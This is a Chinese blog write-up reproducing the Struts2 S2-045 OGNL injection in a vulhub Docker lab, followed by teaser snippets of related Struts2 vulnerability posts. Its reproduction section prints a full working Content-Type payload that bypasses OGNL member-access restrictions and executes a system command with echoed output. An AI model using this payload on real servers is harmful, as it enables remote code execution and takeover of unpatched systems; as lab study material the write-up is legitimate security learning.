代码编织梦想

1.漏洞概述

OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。

struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

2.漏洞原理

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令(Struts2框架执行了恶意用户传进来的OGNL表达式)

受影响的版本:Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10

3.环境搭建

采用docker方式搭建,使用vulhub。

通过cd命令进入达到vulhub的靶场文件的位置。

通过以下命令启动环境

docker-compose build
docker-compose up -d 

  通过ps查看端口号

访问搭建的环境(这种就代表环境搭建成功) 

 

 4.复现

首先随便上传一个文件,并用Burpsuite抓包,替换Content-Type为POC

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data 

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

复现成功。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/ZJT6666666/article/details/128882924

struts2 s2-048漏洞复现-爱代码爱编程

我在docker中搭得的vulhub靶场 1.开启环境 命令 开启docker :service docker start 启动环境 :docker-compose up -d 2.环境启动好后访问http://your-ip:8080/showcase/ 3.这个漏洞在integraton下的struts1处 4.访问Integration/Struts

struts2 s2-059漏洞复现-爱代码爱编程

声明 好好学习,天天向上 漏洞描述 struts2框架 2020年8月13日,Apache官方发布了一则公告,该公告称Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行。 影响范围 Struts 2.0.0 –

Struts2 漏洞复现之s2-045-爱代码爱编程

Struts2 漏洞复现之s2-045 原理: 在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。影响版本: Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts

s2-016漏洞复现-爱代码爱编程

s2-016漏洞复现 首先介绍一下struts2框架:Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的St

[Vulhub] Struts2 S2-057 S2-059 S2-061 漏洞复现-爱代码爱编程

文章目录 Struts2 S2-057 RCE (CVE-2018-11776)0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复现0x05 反弹shellStruts2 S2-059 RCE (CVE-2019-0230)0x00 漏洞描述0x01 影响版本0x02 靶场环境0x03 漏洞分析0x04 漏洞复

Struts2漏洞S2-001复现-爱代码爱编程

Struts2 漏洞S2-001复现学习笔记 S2-001复现 原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直

S2-057,S2-059,s2-061漏洞复现-爱代码爱编程

一、漏洞描述 当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险(S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,导致S2-061再次绕过了S2-059的沙盒) 二、影响版本 s2-057:<=Struts 2.3.34,

Struts2 S2-062(CVE-2021-31805)漏洞分析及复现-爱代码爱编程

简介 2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2 中的远程代码执行漏洞S2-062(CVE-2021-31805),攻击者可以利用此漏洞来控制受影响的系统。该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…} 语法进行强制OGNL解析时,仍有一些

struts2 s2-046漏洞复现 (cve-2017-5638)_@子笑的博客-爱代码爱编程

一:漏洞介绍 名称: struts2-046 远程代码执行 (CVE-2017-5638) 描述: Apache Struts是美国阿帕奇(Apache)软件基金会的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品,Struts 1和Struts 2。 攻击者可以将恶意代码放入http报文头部的Conte

struts2 s2-061(cve-2020-17530)漏洞复现_渗透小能手的博客-爱代码爱编程

一、环境 1、docker 2、Vulhub-master 3、Burpsuite、netcat 二、环境准备 1、开启docker 2、进入漏洞环境 cd /vulhub-master/struts2/s2-061 3、启动环境 docker-compose up -d 4、访问本地的8080即可,看到如下页面: 三、复现 1、测试漏洞是否存在 Pay

struts2漏洞s2-005复现-爱代码爱编程

1.漏洞描述         s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即

struts2 s2-009复现-爱代码爱编程

1.漏洞描述 Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然

struts2 s2-016复现-爱代码爱编程

1.漏洞描述 问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。 影响版本:Struts 2.0.0 – 2.3.15 2.漏洞搭建 采用docker方式搭建,使用vulhub。 通过cd命令进入达到vulhub的靶场文件的位置。 通过以下命令启动环境 docker-co

struts2 s2-032漏洞复现-爱代码爱编程

1.漏洞描述 启用动态方法调用后,可能会传递可用于在服务器端执行任意代码的恶意表达式;接收到的参数会经过处理存入到ActionMapping的method属性中,最后会将method属性中的值当做ognl表达式执行; 2.漏洞搭建 采用docker方式搭建,使用vulhub。 通过cd命令进入达到vulhub的靶场文件的位置。 通过以下命令启

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-爱代码爱编程

🍬 博主介绍 👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连